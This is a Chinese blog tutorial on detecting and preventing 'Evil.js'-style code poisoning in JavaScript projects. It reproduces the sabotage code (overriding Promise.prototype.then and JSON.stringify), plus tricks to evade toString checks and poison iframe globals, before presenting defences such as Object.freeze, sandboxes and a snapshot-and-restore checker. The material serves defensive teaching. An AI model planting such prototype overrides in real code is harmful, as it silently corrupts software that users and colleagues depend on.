关于javascript:怎么防止同事用-Eviljs-的代码投毒

43次阅读

共计 6240 个字符,预计需要花费 16 分钟才能阅读完成。

视频移步 B 站

https://www.bilibili.com/vide…

最近 Evil.js 被探讨的很多,我的项目介绍如下

我的项目被公布到 npm 上后,引起了强烈的探讨,最终因为平安问题被 npm 官网移除,代码也闭源了

作为一个前端老司机,我必定是拥护这种行为,泄私愤有很多种形式,代码里下毒会被 git log 查到,万一守法了,还不如到职的时候给老板一个大逼兜来的解恨

明天咱们来讨论一下,如果你作为我的项目的负责人,如何甄别这种代码下毒

欢送退出前端学习,一起上王者, 交个敌人

下毒手法

最浮夸无奈的下毒手法就是间接替换函数,比方 evil.js 中,给 JSON.stringify 下毒了,把外面的 I 换成了 l,每周日 prmise 的 then 办法有 10% 的概率不触发,只有周日能触发着实有点损了, 并且 npm 的报名就叫lodash-utils,看起来的确是个正经库,后果被下毒

function isEvilTime(){return new Date().getDay() === 0 && Math.random() < 0.1 
}
const _then = Promise.prototype.then
Promise.prototype.then = function then(...args) {if (isEvilTime()) {return} else {_then.call(this, ...args)
  }
}

const _stringify = JSON.stringify
JSON.stringify = function stringify(...args) {return _stringify(...args).replace(/I/g, 'l') 
}
console.log(JSON.stringify({name:'Ill'})) // {"name":"lll"}

检测函数 toString

检测函数是否被原型链投毒,我首先想到的办法就是检测代码的 toString,默认的这些全局办法都是内置的,咱们在命令行里执行一下

咱们能够简略粗犷的查看函数的 toString

function isNative(fn){return fn.toString() === `function ${fn.name}() { [native code] }`
}

console.log(isNative(JSON.parse)) // true
console.log(isNative(JSON.stringify)) // false

不过咱们能够间接重写函数的 toString 办法,返回 native 这几个字符串,就能够越过这个查看


JSON.stringify = ...
JSON.stringify.toString = function(){return `function stringify() {[native code] }`
}
function isNative(fn){return fn.toString() === `function ${fn.name}() { [native code] }`
}
console.log(isNative(JSON.stringify)) // true

iframe

咱们还能够在浏览器里通过 iframe 创立一个被隔离的 window, iframe 被加载到 body 后,获取 iframe 外部的 contentWindow

let iframe = document.createElement('iframe')
iframe.style.display = 'none'
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log(cleanJSON.stringify({name:'Illl'}))  // '{"name":"Illl"}'

这种解决方案对运行环境有要求,iframe 只有浏览器里才有,而且攻击者够聪慧的话,iframe 这种解决方案也能够被下毒, 重写 appendChild 函数,当加载进来的标签是 iframe 的时候,重写 contentWindow 的 stringify 办法

const _stringify = JSON.stringify
let myStringify = JSON.stringify = function stringify(...args) {return _stringify(...args).replace(/I/g, 'l')
}

// 注入
const _appenChild = document.body.appendChild.bind(document.body)
document.body.appendChild = function(child){_appenChild(child)
  if(child.tagName.toLowerCase()==='iframe'){
    // 净化
    iframe.contentWindow.JSON.stringify = myStringify
  }
}

// iframe 被净化了
let iframe = document.createElement('iframe')
iframe.style.display = 'none'
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log(cleanJSON.stringify({name:'Illl'}))  // '{"name":"llll"}'

node 的 vm 模块

node 中也能够通过 vm 模块创立一个沙箱来运行代码,教程能够看这里,不过这对咱们代码的入侵性太大了,实用于发现 bug 后的调试某段具体的代码,并且没法再浏览器里间接用

const vm = require('vm')

const _stringify = JSON.stringify
JSON.stringify = function stringify(...args) {return _stringify(...args).replace(/I/g, 'l')
}
console.log(JSON.stringify({name:'Illl'}))
let sandbox = {}
vm.runInNewContext(`ret = JSON.stringify({name:'Illl'})`,sandbox)
console.log(sandbox)

ShadowRealm API

TC39 有一个新的 ShadowRealm api,曾经 stage3 了,能够手动创立一个隔离的 js 运行环境,被认为是下一代微前端的利器,不过当初兼容性还不太好,代码看起来有一丢丢像 eval,不过和 vm 的问题一样,须要咱们指定某段代码执行

更多 ShadowRealm 的细节能够参考贺老的这个答复 如何评估 ECMAScript 的 ShadowRealm API 提案

const sr = new ShadowRealm()
console.log(sr.evaluate(`JSON.stringify({name:'Illl'})`) )

Object.freeze

咱们还能够我的项目代码的入口处,间接用 Object.freeze 冻住相干函数,确保不会被批改, 所以上面的代码会打印出{"name":"Illl"},然而有些框架会对原型链进行适当的批改(比方 Vue2 里对数组的解决),而且咱们在批改 stringify 失败的时候没有任何揭示,所以此办法也慎用,可能会导致你的我的项目里有 bug


!(global => {// Object.freeze(global.JSON)
  ;['JSON','Date'].forEach(n=>Object.freeze(global[n]))
  ;['Promise','Array'].forEach(n=>Object.freeze(global[n].prototype))
})((0, eval)('this'))
// 下毒
const _stringify = JSON.stringify
let myStringify = JSON.stringify = function stringify(...args) {return _stringify(...args).replace(/I/g, 'l')
}

// 应用
console.log(JSON.stringify({name:'Illl'}))
    

备份检测

还有一个很简略的办法,实用性和兼容性都适中,咱们能够在我的项目启动的一开始,就备份一些重要的函数,比方 Promise,Array 原型链的办法,JSON.stringify、fetch、localstorage.getItem 等办法, 而后在须要的时候, 运行检测函数, 判断 Promise.prototype.then 和咱们备份的是否相等,就能够甄别出原型链有没有被净化 , 我真是一个小伶俐

首先咱们要备份相干函数,因为咱们须要查看的不是很多,就不须要对 window 进行遍历了,指定几个重要的 api 函数,都存在了 _snapshots 对象里

// 这段代码肯定要在我的项目的一开始执行
!(global => { 
  const MSG = '可能被篡改了,要小心哦'
  const inBrowser = typeof window !== 'undefined'
  const {JSON:{parse,stringify},setTimeout,setInterval} = global
  let _snapshots = {
    JSON:{
      parse,
      stringify
    },
    setTimeout,
    setInterval,
    fetch
  }
  if(inBrowser){let {localStorage:{getItem,setItem},fetch} = global
    _snapshots.localStorage = {getItem,setItem}
    _snapshots.fetch = fetch
  }
})((0, eval)('this'))

除了间接调用的 JSON,setTimeout,还有 Promise,Array 等原型链上的办法,咱们能够通过 getOwnPropertyNames 获取后,备份到 _protytypes 里,比方 Promise.prototype.then 存储的后果就是

// _protytypes
{'Promise.then': function then(){[native code]}
}
!(global => {let _protytypes = {}
  const names = 'Promise,Array,Date,Object,Number,String'.split(",")

  names.forEach(name=>{let fns = Object.getOwnPropertyNames(global[name].prototype)
    fns.forEach(fn=>{_protytypes[`${name}.${fn}`] = global[name].prototype[fn]
    })
  })
  console.log(_protytypes)
})((0, eval)('this'))

而后咱们在 global 上注册一个检测函数 checkNative 就能够啦,存储在_snapshot 和_prototype 里的内容,嘎嘎遍历进去,和以后运行时获取的 JSON,Promise.prototype.then 比照就能够啦,而且咱们有了备份,还能够加一个 reset 参数,间接把净化的函数还原回去

代码比拟毛糙,大家对付看,函数也就两层嵌套,不整递归了,间接暴力循环,欢送有志之士优化


global.checkNative = function (reset=false){for (const prop in _snapshots) {if (_snapshots.hasOwnProperty(prop) && prop!=='length') {let obj = _snapshots[prop]
      // setTimeout 顶层的
      if(typeof obj==='function'){const isEqual = _snapshots[prop]===global[prop]
        if(!isEqual){console.log(`${prop}${MSG}`)
          if(reset){window[prop] = _snapshots[prop]
          }
        }
      }else{
        // JSON 这种还有内层 api
        for(const key in obj){const isEqual = _snapshots[prop][key]===global[prop][key]
          if(!isEqual){console.log(`${prop}.${key}${MSG}`)
            if(reset){window[prop][key] = _snapshots[prop][key]
            }
          }
        }
      }

    }
  }
  // 原型链
  names.forEach(name=>{let fns = Object.getOwnPropertyNames(global[name].prototype)
    fns.forEach(fn=>{const isEqual = global[name].prototype[fn]===_protytypes[`${name}.${fn}`]
      if(!isEqual){console.log(`${name}.prototype.${fn}${MSG}`)
        if(reset){global[name].prototype[fn]=_protytypes[`${name}.${fn}`]
        }
      }
    })
  })
}

咱们测试一下代码,能够看到 checkNative 传递 reset 是 true 后,打印且重置了咱们净化的函数,JSON.stringify 的行为也合乎咱们的预期

<script src="./anti-evil.js"></script>
<script src="./evil.js"></script>
<script>
function isNative(fn){return fn.toString() === `function ${fn.name}() { [native code] }`
}
let obj = {name:'Illl'}
console.log(obj)
console.log('isNative',isNative(JSON.stringify))
console.log('被净化了',JSON.stringify(obj)) 

let iframe = document.createElement('iframe')
iframe.style.display = 'none'
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log('iframe 也被净化了',cleanJSON.stringify(obj)) 
console.log('*'.repeat(20))

checkNative(true)
console.log('checkNative 重置了',JSON.stringify(obj)) 
</script>

总结

如同没啥总结得了,祝大家天天开心,做一个开心的程序员,回见

代码在 Github

在线环境在 StackBlitz

正文完
 0